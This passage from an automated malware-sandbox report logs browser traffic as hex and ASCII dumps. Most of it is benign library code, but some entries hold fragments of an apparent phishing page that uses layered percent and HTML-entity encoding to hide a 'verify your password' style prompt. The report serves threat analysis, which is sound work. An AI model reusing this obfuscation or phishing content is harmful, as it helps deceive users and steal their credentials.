34 31 25 34 44 25 37 41 25 34 34 25 35 30 25 34 44 25 35 36 25 34 36 25 34 43 25 35 39 25 35 34 25 32 42 25 32 42 25 
33 39 25 34 44 25 35 30 25 37 41 25 34 46 25 35 30 25 37 39 25 33 33 25 36 36 25 37 31 25 36 38 25 35 33 25 37 36 25 
34 42 25 32 42 25 34 38 25 36 34 25 35 38 25 37 34 25 37 33 25 35 35 25 37 37 25 33 36 25 35 30 25 37 34 25 34 45 25 
37 34 25 37 35 25 32 42 25 36 35 25 32 42 25 32 46 25 35 38 25 36 31 25 35 36 25 33 34 25 36 36 25 32 46 25 37 41 25 
32 46 25 33 31 25 36 39 25 36 42 25 33 38 25 33 31 25 37 39 25 36 43 25 37 
Data Ascii: 0%42%46%32%4A%6C%6C%57%36%72%55%39%7A%2B%31%4C%52%2F%72%6C%49%62%4B%
37%61%41%4D%7A%44%50%4D%56%46%4C%59%54%2B%2B%39%4D%50%7A%4F%50%79%33%6
6%71%68%53%76%4B%2B%48%64%58%74%73%55%77%36%50%74%4E%74%75%2B%65%2B%2F%58%61%56%
34%66%2F%7A%2F%31%69%6B%38%31%79%6C%7

2022-07-01 09:00:48 UTC 614 IN Data Raw: 36 33 25 36 43 25 33 30 25 36 41 25 36 32 25 37 30 25 35 38 25 33 39 25 34 34 25 33 34 25 34 31 25 36 36 
25 37 41 25 37 39 25 34 35 25 36 38 25 32 46 25 35 34 25 34 38 25 37 31 25 35 35 25 36 46 25 37 36 25 37 38 25 34 36 
25 34 41 25 33 39 25 34 43 25 34 46 25 36 42 25 34 35 25 36 34 25 35 36 25 36 36 25 36 32 25 34 32 25 35 39 25 34 33 
25 35 30 25 33 38 25 34 46 25 36 41 25 34 34 25 33 36 25 33 35 25 37 38 25 34 38 25 33 33 25 35 30 25 33 35 25 34 35 
25 37 30 25 35 38 25 36 31 25 36 37 25 36 43 25 35 32 25 34 35 25 36 33 25 36 41 25 35 41 25 35 35 25 34 35 25 37 30 
25 37 30 25 36 35 25 36 39 25 34 31 25 36 36 25 36 41 25 34 37 25 35 33 25 33 33 25 36 38 25 36 46 25 36 41 25 35 37 
25 37 39 25 36 46 25 36 32 25 34 39 25 34 37 25 37 37 25 37 33 25 34 39 25 
Data Ascii: 63%6C%30%6A%62%70%58%39%44%34%41%66%7A%79%45%68%2F%54%48%71%55%6F%76
%78%46%4A%39%4C%4F%6B%45%64%56%66%62%42%59%43%50%38%4F%6A%44%36%35%78%48%33%50%3
5%45%70%58%61%67%6C%52%45%63%6A%5A%55%45%70%70%65%69%41%66%6A%47%53%33
%68%6F%6A%57%79%6F%62%49%47%77%73%49%

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:48 UTC 622 IN Data Raw: 25 35 31 25 33 37 25 36 35 25 33 34 25 36 41 25 36 35 25 35 33 25 33 37 25 33 34 25 37 31 25 35 41 25 34 
45 25 33 33 25 37 35 25 33 31 25 34 43 25 37 35 25 34 41 25 34 45 25 33 38 25 36 46 25 34 33 25 36 31 25 33 38 25 37 
38 25 37 35 25 33 34 25 35 31 25 34 39 25 37 34 25 34 45 25 33 34 25 37 35 25 33 34 25 33 35 25 35 30 25 32 42 25 37 
34 25 36 36 25 36 43 25 36 34 25 35 30 25 34 44 25 33 30 25 34 34 25 34 31 25 36 38 25 36 32 25 34 41 25 34 46 25 32 
46 25 35 34 25 36 44 25 32 42 25 33 39 25 35 32 25 33 30 25 35 39 25 36 35 25 37 31 25 33 38 25 34 42 25 33 38 25 37 
38 25 35 31 25 37 31 25 35 33 25 34 44 25 33 36 25 33 30 25 36 34 25 33 34 25 33 34 25 34 36 25 37 31 25 35 33 25 34 
35 25 32 42 25 36 38 25 35 36 25 35 30 25 33 38 25 34 36 25 34 38 25 37 36 
Data Ascii: %51%37%65%34%6A%65%53%37%34%71%5A%4E%33%75%31%4C%75%4A%4E%38%6F%43%6
1%38%78%75%34%51%49%74%4E%34%75%34%35%50%2B%74%66%6C%64%50%4D%30%44%41%68%62%4A%
4F%2F%54%6D%2B%39%52%30%59%65%71%38%4B%38%78%51%71%53%4D%36%30%64%34%34%46%71%53
%45%2B%68%56%50%38%46%48%76

2022-07-01 09:00:48 UTC 630 IN Data Raw: 39 25 36 42 25 34 31 25 36 34 25 34 44 25 35 39 25 37 31 25 33 31 25 34 43 25 35 39 25 36 36 25 34 45 25 
36 31 25 37 30 25 36 33 25 36 35 25 35 37 25 35 39 25 37 41 25 36 36 25 35 38 25 36 36 25 36 32 25 37 41 25 36 34 25 
35 37 25 34 38 25 37 37 25 33 39 25 34 44 25 37 31 25 34 31 25 34 37 25 33 33 25 36 31 25 36 34 25 34 42 25 36 44 25 
37 33 25 37 41 25 36 38 25 35 41 25 32 46 25 37 36 25 33 36 25 36 38 25 37 39 25 34 37 25 36 39 25 34 34 25 36 32 25 
33 35 25 35 41 25 34 34 25 35 41 25 34 31 25 37 37 25 35 33 25 35 33 25 36 41 25 36 37 25 34 34 25 33 31 25 33 37 25 
34 31 25 33 37 25 33 31 25 33 30 25 36 43 25 33 34 25 35 41 25 34 44 25 35 36 25 36 35 25 33 39 25 36 34 25 33 34 25 
37 36 25 34 39 25 36 33 25 34 42 25 33 38 25 34 33 25 34 38 25 34 31 25 33 
Data Ascii: 9%6B%41%64%4D%59%71%31%4C%59%66%4E%61%70%63%65%57%59%7A%66%58%66%62%
7A%64%57%48%77%39%4D%71%41%47%33%61%64%4B%6D%73%7A%68%5A%2F%76%36%68%79%47%69%44
%62%35%5A%44%5A%41%77%53%53%6A%67%44%31%37%41%37%31%30%6C%34%5A%4D%56%
65%39%64%34%76%49%63%4B%38%43%48%41%3

2022-07-01 09:00:48 UTC 637 IN Data Raw: 33 31 25 33 37 25 33 42 25 32 30 25 36 45 25 36 35 25 32 36 25 32 33 25 33 31 25 33 30 25 33 31 25 33 42 
25 32 36 25 32 33 25 33 31 25 33 30 25 33 30 25 33 42 25 32 30 25 32 36 25 32 33 25 33 31 25 33 31 25 33 36 25 33 42 
25 32 36 25 32 33 25 33 31 25 33 31 25 33 31 25 33 42 25 32 30 25 37 36 25 32 36 25 32 33 25 33 31 25 33 30 25 33 31 
25 33 42 25 32 36 25 32 33 25 33 31 25 33 31 25 33 34 25 33 42 25 32 36 25 32 33 25 33 31 25 33 30 25 33 35 25 33 42 
25 32 36 25 32 33 25 33 31 25 33 30 25 33 32 25 33 42 25 32 36 25 32 33 25 33 31 25 33 32 25 33 31 25 33 42 25 32 30 
25 37 39 25 36 46 25 32 36 25 32 33 25 33 31 25 33 31 25 33 37 25 33 42 25 32 36 25 32 33 25 33 31 25 33 31 25 33 34 
25 33 42 25 32 30 25 37 30 25 32 36 25 32 33 25 33 39 25 33 37 25 33 42 25 
Data Ascii: 31%37%3B%20%6E%65%26%23%31%30%31%3B%26%23%31%30%30%3B%20%26%23%31%31
%36%3B%26%23%31%31%31%3B%20%76%26%23%31%30%31%3B%26%23%31%31%34%3B%26%23%31%30%3
5%3B%26%23%31%30%32%3B%26%23%31%32%31%3B%20%79%6F%26%23%31%31%37%3B%26%23%31%31%
34%3B%20%70%26%23%39%37%3B%

2022-07-01 09:00:48 UTC 645 IN Data Raw: 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 36 25 36 46 25 37 34 25 32 32 25 33 45 25 30 
41 25 30 39 25 30 39 25 30 39 25 33 43 25 37 35 25 36 43 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 
44 25 32 32 25 36 43 25 36 39 25 37 33 25 37 34 25 32 44 25 37 35 25 36 45 25 37 33 25 37 34 25 37 39 25 36 43 25 36 
35 25 36 34 25 32 32 25 32 30 25 37 33 25 37 34 25 37 39 25 36 43 25 36 35 25 33 44 25 32 32 25 36 36 25 36 46 25 36 
45 25 37 34 25 32 44 25 36 36 25 36 31 25 36 44 25 36 39 25 36 43 25 37 39 25 33 41 25 35 33 25 36 35 25 36 37 25 36 
46 25 36 35 25 32 30 25 35 35 25 34 39 25 32 30 25 35 37 25 36 35 25 36 32 25 36 36 25 36 46 25 36 45 25 37 34 25 33 
42 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 33 25 37 34 
Data Ascii: %6C%61%73%73%3D%22%66%6F%74%22%3E%0A%09%09%09%3C%75%6C%20%63%6C%61%7
3%73%3D%22%6C%69%73%74%2D%75%6E%73%74%79%6C%65%64%22%20%73%74%79%6C%65
%3D%22%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%53%65%67%6F%65%20%55%49%20%
57%65%62%66%6F%6E%74%3B%20%66%6F%6E%74%2D%73%74

2022-07-01 09:00:49 UTC 653 IN Data Raw: 33 25 37 34 25 36 31 25 37 34 25 36 35 25 32 30 25 33 44 25 33 44 25 32 30 25 35 38 25 34 44 25 34 43 25 
34 38 25 37 34 25 37 34 25 37 30 25 35 32 25 36 35 25 37 31 25 37 35 25 36 35 25 37 33 25 37 34 25 32 45 25 34 34 25 
34 46 25 34 45 25 34 35 25 32 39 25 32 30 25 37 42 25 30 41 25 30 39 25 30 39 25 30 39 25 30 39 25 37 36 25 36 31 25 
37 32 25 32 30 25 37 32 25 36 35 25 37 33 25 37 30 25 36 46 25 36 45 25 37 33 25 36 35 25 32 30 25 33 44 25 32 30 25 
34 41 25 35 33 25 34 46 25 34 45 25 32 45 25 37 30 25 36 31 25 37 32 25 37 33 25 36 35 25 32 38 25 37 34 25 36 38 25 
36 39 25 37 33 25 32 45 25 37 32 25 36 35 25 37 33 25 37 30 25 36 46 25 36 45 25 37 33 25 36 35 25 35 34 25 36 35 25 
37 38 25 37 34 25 32 39 25 33 42 25 30 41 25 30 39 25 30 39 25 30 39 25 30 
Data Ascii: 3%74%61%74%65%20%3D%3D%20%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%
2E%44%4F%4E%45%29%20%7B%0A%09%09%09%09%76%61%72%20%72%65%73%70%6F%6E%73%65%20%3D
%20%4A%53%4F%4E%2E%70%61%72%73%65%28%74%68%69%73%2E%72%65%73%70%6F%6E%
73%65%54%65%78%74%29%3B%0A%09%09%09%0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.5 49732 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:34 UTC 57 OUT GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-
4581f098723d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:34 UTC 64 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6463
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE"
MS-CV: fY4WMkPOy0W6s1dW.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:34 UTC 64 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 
05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 
4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 
cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f 
de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 
a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 
Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

40 192.168.2.5 49786 104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 661 OUT GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
Origin: https://shafquatarefeen.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: style
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

41 192.168.2.5 49784 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 661 OUT GET /bootstrap/3.3.7/css/bootstrap.min.css HTTP/1.1
Host: maxcdn.bootstrapcdn.com
Connection: keep-alive
Origin: https://shafquatarefeen.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: style
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

42 192.168.2.5 49787 104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 662 OUT GET /ajax/libs/popper.js/1.14.0/umd/popper.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
Origin: https://shafquatarefeen.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

43 104.17.25.14 443 192.168.2.5 49787 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 662 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:49 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb03fa9-500f"
Last-Modified: Mon, 04 May 2020 16:15:37 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 1928618
Expires: Wed, 21 Jun 2023 09:00:49 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TNxqimP5Msym2%2FrvgptiANmtmn9gba
YAkUwG5Ck16py48Q5QSIUgBdmm30vrKepfIbO3KNB2PksWnxbuJhLSl2y%2BCvmT%2B9mQpqmifsOA070uu3IppNY9
Elonvrcb6zb%2BIUFThcJz"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 723df417ef6e9bef-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 09:00:49 UTC 663 IN Data Raw: 39 36 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 
6c 6f 20 32 30 31 38 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 
6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 
72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 
7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 
3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 
69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 
Data Ascii: 964/* Copyright (C) Federico Zivolo 2018 Distributed under the MIT License (license terms are at http://open
source.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'func
tion'==typeof define&&

2022-07-01 09:00:49 UTC 664 IN Data Raw: 3d 74 28 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 
66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 
6f 6e 5d 27 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 
74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 
43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 
6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 
65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 
Data Ascii: =t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){
if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?
e:e.parentNode||e.host}

2022-07-01 09:00:49 UTC 665 IN Data Raw: 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 
68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 27 
74 6f 70 27 2c 6f 3d 27 74 6f 70 27 3d 3d 3d 74 3f 27 73 63 72 6f 6c 6c 54 6f 70 27 3a 27 73 63 72 6f 6c 6c 4c 65 66 74 27 
2c 6e 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3b 69 66 28 27 42 4f 44 59 27 3d 3d 3d 6e 7c 7c 27 48 54 4d 4c 27 3d 3d 3d 6e 
29 7b 76 61 72 20 69 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 
72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 69 6e 67 45 6c 65 6d 65 6e 74 7c 7c 69 3b 72 65 
74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 
Data Ascii: unction a(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:'top',o='top'===t?'scrollTop':'scr
ollLeft',n=e.nodeName;if('BODY'===n||'HTML'===n){var i=e.ownerDocument.documentElement,r=e.ownerDocument.scrol
lingElement||i;return r[o]}return e[o

Copyright Joe Security LLC 2022 Page 225 of 280



2022-07-01 09:00:49 UTC 666 IN Data Raw: 34 36 61 62 0d 0a 48 65 69 67 68 74 27 3d 3d 3d 65 3f 27 42 6f 74 74 6f 6d 27 3a 27 52 69 67 68 74 27 29 5d 
3a 30 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 74 3d 
64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6f 3d 69 65 28 31 30 29 26 26 67 65 74 43 6f 
6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 72 65 74 75 72 6e 7b 68 65 69 67 68 74 3a 6d 28 27 48 65 69 67 68 74 27 
2c 65 2c 74 2c 6f 29 2c 77 69 64 74 68 3a 6d 28 27 57 69 64 74 68 27 2c 65 2c 74 2c 6f 29 7d 7d 66 75 6e 63 74 69 6f 6e 
20 63 28 65 29 7b 72 65 74 75 72 6e 20 64 65 28 7b 7d 2c 65 2c 7b 72 69 67 68 74 3a 65 2e 6c 65 66 74 2b 65 2e 77 69 
64 74 68 2c 62 6f 74 74 6f 6d 3a 65 2e 74 6f 70 2b 65 2e 68 65 69 
Data Ascii: 46abHeight'===e?'Bottom':'Right')]:0)}function h(){var e=document.body,t=document.documentElement,
o=ie(10)&&getComputedStyle(t);return{height:m('Height',e,t,o),width:m('Width',e,t,o)}}function c(e){return de({},e,{righ
t:e.left+e.width,bottom:e.top+e.hei

2022-07-01 09:00:49 UTC 667 IN Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 26 
26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 6f 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 
45 6c 65 6d 65 6e 74 2c 6e 3d 75 28 65 2c 6f 29 2c 69 3d 51 28 6f 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 77 69 6e 64 6f 
77 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 30 29 2c 72 3d 51 28 6f 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2c 77 69 6e 
64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 30 29 2c 70 3d 74 3f 30 3a 61 28 6f 29 2c 73 3d 74 3f 30 3a 61 28 6f 
2c 27 6c 65 66 74 27 29 2c 64 3d 7b 74 6f 70 3a 70 2d 6e 2e 74 6f 70 2b 6e 2e 6d 61 72 67 69 6e 54 6f 70 2c 6c 65 66 74 
3a 73 2d 6e 2e 6c 65 66 74 2b 6e 2e 6d 61 72 67 69 6e 4c 65 
Data Ascii: ments.length&&void 0!==arguments[1]&&arguments[1],o=e.ownerDocument.documentElement,n=u(e,o),i=Q(o
.clientWidth,window.innerWidth||0),r=Q(o.clientHeight,window.innerHeight||0),p=t?0:a(o),s=t?0:a(o,'left'),d={top:p-n.top
+n.marginTop,left:s-n.left+n.marginLe

2022-07-01 09:00:49 UTC 668 IN Data Raw: 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 
74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 
2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 
28 65 29 7b 72 65 74 75 72 6e 20 64 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 76 28 73 5b 65 5d 
29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 
65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 
2e 77 69 64 74 68 2c 6e 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 
Data Ascii: {width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(fu
nction(e){return de({key:e},s[e],{area:v(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,
n=e.height;return

2022-07-01 09:00:49 UTC 670 IN Data Raw: 72 65 74 75 72 6e 20 69 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 27 66 75 6e 63 
74 69 6f 6e 27 5d 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 
60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 
61 72 20 6e 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 6e 
29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 
2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 
63 65 29 2c 6f 3d 6e 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 
Data Ascii: return i.forEach(function(t){t['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var 
n=t['function']||t.fn;t.enabled&&e(n)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),
o=n(o,t))}),o}fun

2022-07-01 09:00:49 UTC 671 IN Data Raw: 27 29 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 27 27 2c 74 68 69 
73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 
6c 65 66 74 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 72 69 67 68 74 3d 27 27 2c 74 68 69 73 
2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 62 6f 74 74 6f 6d 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 
65 2e 77 69 6c 6c 43 68 61 6e 67 65 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 
61 6e 73 66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 7
2 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 
Data Ascii: '),this.popper.style.position='',this.popper.style.top='',this.popper.style.left='',this.popper.style.right='',this.po
pper.style.bottom='',this.popper.style.willChange='',this.popper.style[W('transform')]=''),this.disableEventListeners(),
this.options.remo

2022-07-01 09:00:49 UTC 672 IN Data Raw: 27 2c 27 62 6f 74 74 6f 6d 27 2c 27 6c 65 66 74 27 5d 2e 69 6e 64 65 78 4f 66 28 6f 29 26 26 55 28 74 5b 6f 
5d 29 26 26 28 6e 3d 27 70 78 27 29 2c 65 2e 73 74 79 6c 65 5b 6f 5d 3d 74 5b 6f 5d 2b 6e 7d 29 7d 66 75 6e 63 74 69 6f 
